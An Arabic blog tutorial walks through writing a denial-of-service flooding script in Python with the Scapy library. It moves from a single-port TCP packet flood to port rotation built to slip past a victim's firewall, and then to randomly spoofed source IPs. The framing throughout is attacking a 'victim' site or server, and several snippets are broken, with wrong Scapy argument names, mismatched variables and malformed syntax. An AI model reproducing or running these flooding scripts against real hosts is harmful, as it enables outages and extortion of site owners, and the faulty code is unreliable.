شرح برمجة اداة dos attack في بايثون بواسطة مكتبة scapy


    شرح برمجة اداة dos attack في بايثون بواسطة مكتبة scapy

    فى هذا المقال, سنتعرف على هجوم DdoS وفهم كيفية برمجة سكربت خاص بنا يقوم بحجب الخدمة Denial Of Service.
    مع  تطور التكنلوجيا  وبروز التجارة الإلكترونية, أصبحت المواقع التجارية أكثر عرضة لهذا النوع من الهجمات, لأن توقف موقع تجاري لفترة من الزمن سيكبد صاحب الموقع خسائر كبيرة, ولهذا أصبحت هدفا سهلا و عرضة للهجمات الالكترونية التي يقوم بها القراصنة لابتزاز أصحاب المواقع,  وتنقسم هذه الهجمات لنوعين :

    • DoS  - Denial-of-Service
    • DDoS - Distribted Denial of Service

    الفرق بين هذين الهجومين هو أن هجوم الدوس  Dos عادة يستخدم كمبيوتر واحد متصل بالإنترنت يستغل موارد   النظام الخاص بك في تنفيذ الهجوم وهذا النوع تأثيره محدود.
    أما هجوم الدي دوس DDoS يستخدم أجهزة كمبيوتر متعددة واتصالات إنترنت لاغراق الهدف بطلبات كثيرة من أجهزة مختلفة في نفس الوقت, وهذا النوع هو الاقوى والمستعمل بكثرة في الهجوم على المواقع الالكترونية.
    طبعا هذه مقدمة صغيرة وليست موضوعنا اليوم, فاليوم سنتعرف على كيفية صنع سكربت بأنفسنا وذلك باستعمال لغة البايثون ومكتبة سكابي Scapy هذه المكتبة يعرفها أصحاب الشبكات فهي مشهورة جدا.

    نبدأ على بركة الله شرح برمجة اداة Dos Attack

    أولا يتوجب عليك تثبيت مكتبة سكابي Scapy

    pip install scapy

    بعد انتهاء تثبيتها قم بفتح ملف واعطه اسم dos.py
    الأن قم بكتابة استدعاء للمكتبة سكابي بهذه الطريقة
    from scapy.all import *
    الان سنضيف ثلاث متغيرات ستستقبل المدخلات التي يدخلها المستخدم, وهي الاي بي الخاص بجهاز الهكر Source , والاي بي الخاص بالضحية  Target  سواء كان موقع او سيرفر او جهاز كمبيوتر, والمدخل الثالث هو البورت المفتوح لدى الضحية والذي سننفذ الهجوم من خلاله
    source_IP = input("Enter IP address of Source: ")
    target_IP = input("Enter IP address of Target: ")
    source_port = int(input("Enter Source Port Number:"))
    الان نكتب الدالة الاساسية الخاصة بسكربت الهجوم داخل حلقة loop لانهائية

    i = 1
        while True:
            IP1 = IP(source_IP = source_IP, destination = target_IP)
            TCP1 = TCP(srcport = source_port, dstport = 80)
            pkt = IP1 / TCP1
            send(pkt, inter = .001)
            print ("packet sent ", i)
            i = i + 1

    نشرح الكود السابق,

    قمنا بانشاء متغير i وهو بمثابة عداد أو معامل زيادة بمقدار واحد, وهو يعمل مع حلقة while
    IP1  هو متغير مررنا له دالة IP خاصة بمكتبة سكابي تحتوي على مدخلين: اي بي المهاجم وايبي الضحية . 
            IP1 = IP(source_IP = source_IP, destination = target_IP)
    TCP1:  عبارة عن بروتوكول يحتاج الى مدخلين وهما البورت الخاص بالهاكر srcport والبورت الخاص بالضحية dstport
    pkt: عبارة عن الحزمة التي سنرسلها لاغراق الهدف بالطلبات
    وتتكون من الاجبي والبورت  السابقين 

            pkt = IP1 / TCP1
    send هو أمر متعلق بمكتبة سكابي لارسال الحزمة التي صنعناها 
    inter هو مجال زمني بين ارسال الحزمة الاولى والتي تليها
            send(pkt, inter = .001)
    الامر الاخير هو طباعة عدد الحزم (i) التي قمنا بارسالها 
            print ("packet sent ", i)
    ثم يقوم بزيادة العداد حتى يحسب الباكيت او الحزم المرسلة من طرفنا
            i = i + 1
    وهذه صورة الكود الكامل للسكربت الذي صنعناه

    سكربت بايثون  يقوم بحجب الخدمة Denial Of Service.

    مادمت قد برمجت أداتك الأولى بنفسك ما رأيك لو نقوم باضافة لمسة صغيرة لها ؟, هل تعرف أن هذه اللمسة الصغيرة في بايثون تعني الشيء الكثير تابع معي:
    نحن قمنا الأن ببرمجة أداة تقوم بمهاجمة الضحية سواء كان سيرفر او جهاز او غيره عن طريق بورت محدد, 
    ماذا لو كان عند الضحية جدار حماية وقام بحماية نفسه, عن طريق فلترة ومنع البورت الخاص بالهكر من الوصول لجهازه؟  مشكلة اليس كذلك !
    مارأيك لو نقوم بخداعه وتغيير البورت الخاص بنا كل جزء من الثانية. اممم تابع معي

    Single IP Multiple port Dos Attack

    نبدأ باضافة حلقة بسيطة للاداة من نوع for وهذه الحلقة دورها هو توليد ارقام عشوائية, من 0 الى 65535, وهذه الارقام سنستغلها على اساس انها بورتات, لاحظ كيف

    from scapy.all import *

    src = raw_input("Enter the Source IP ")
    target = raw_input("Enter the Target IP ")

    i=1
    while True:
        for srcport in range(1,65535):       IP1 = IP(src=src, dst=target)
           TCP1 = TCP(sport=srcport, dport=80)       pkt = IP1 / TCP1
           send(pkt,inter= .0001)
          print "packet sent ", i
        i=i+1
    ما قمنا باضافته هو وضع الكود السابق الخاص بنا داخل حلقة فور For
    for srcport in range(1,65535):
    ستقوم هذه الحلقة باخذ رقم من المجال 1 - 65535 ثم تستخدمه على اساس أنه بورت  srcport 

    صورة للسكربت الكامل


    لاحظ كم بورت يظهر عند الضحية عند فحص الترافيك على الشبكة بواسطة برنامج wireshark
    Single IP Multiple port Dos Attack

    الأن مادمت قد تعلمت كيفية  برمجة سكربت دوس اتاك متطور, دعنى نطوره أكثر من ذي قبل بحيث حتى وان استطاع الضحية من فللترة ومن الاي بي الخاص بنا من  يستمر السكربت في الهجوم, ولكن كيف ذلك؟
    علينا بتطوير السكربت حتى يقوم بالهجوم السابق Multi Ports مع عدة ايبيات  Multi IP , 

    Multiple IP multiple port Dos Attack

    برمجة سكربت بهذه الخواص أمر معقد قليلا, لكنه ليس مستحيل, يجب عليك التركيز فقط تابع معي:
     نقوم باستدعاء مكتبة random اضافة الى scapy
    random تقوم بتوليد اعداد عشوائية كما نريد, وباوامر سهلة


    import random
    from scapy.all import *
     متغير وحيد يطلب من المستخدم ادخال اي بي الضحية
    target_IP = input("Enter IP address of Target: ")

    الان الكود الاساس  لا تخف سأقوم بتبسيطه
    while True:
       a = str(random.randint(1,254))
       b = str(random.randint(1,254))
       c = str(random.randint(1,254))
       d = str(random.randint(1,254))
       dot = “.”
       Source_ip = a + dot + b + dot + c + dot + d
     
       for source_port in range(1, 65535)
          IP1 = IP(source_IP = source_IP, destination = target_IP)
          TCP1 = TCP(srcport = source_port, dstport = 80)
          pkt = IP1 / TCP1
          send(pkt,inter = .001)
       
          print ("packet sent ", i)
             i = i + 1
    طبعا نفس السكربت السابق ولكن الاختلاف يكمن في خاصية توليد الاي بي العشوائي
    قمن باضافة متغيرات a,b,c,d تحمل رقم عشوائي من 1 - 254 وهي تمثل خانة من خانات الايبي الاربع
    ثم اضافنا متغير dot وأسندنا له نقطة , الاي بي النهائي سينتج بهذا الكود بطريقة التعويض:
       Source_ip = a + dot + b + dot + c + dot + d
    في الجزء الثاني من الكود وهو نفسه في السكربت الاول والثاني, قمنا باسناد الاي بي الذي ينتج من الدالة الاولى لها, ليقوم باستعماله اثناء ارسال الحزم
          IP1 = IP(source_IP = source_IP, destination = target_IP)
    الايبي يصبح مكان عبارة source ip باللون الاصفر.

    صورة للكود من المحرر vscode


    وهذا عند فحص الضحية لشبكته, سيرى عدة ايبيهات قادمة
    Multiple IP multiple port Dos Attack


    الى هنا نكون قد وصلنا لنهاية هذا الموضوع,
    في أمان الله.
    شارك المقال

    مقالات متعلقة

    إرسال تعليق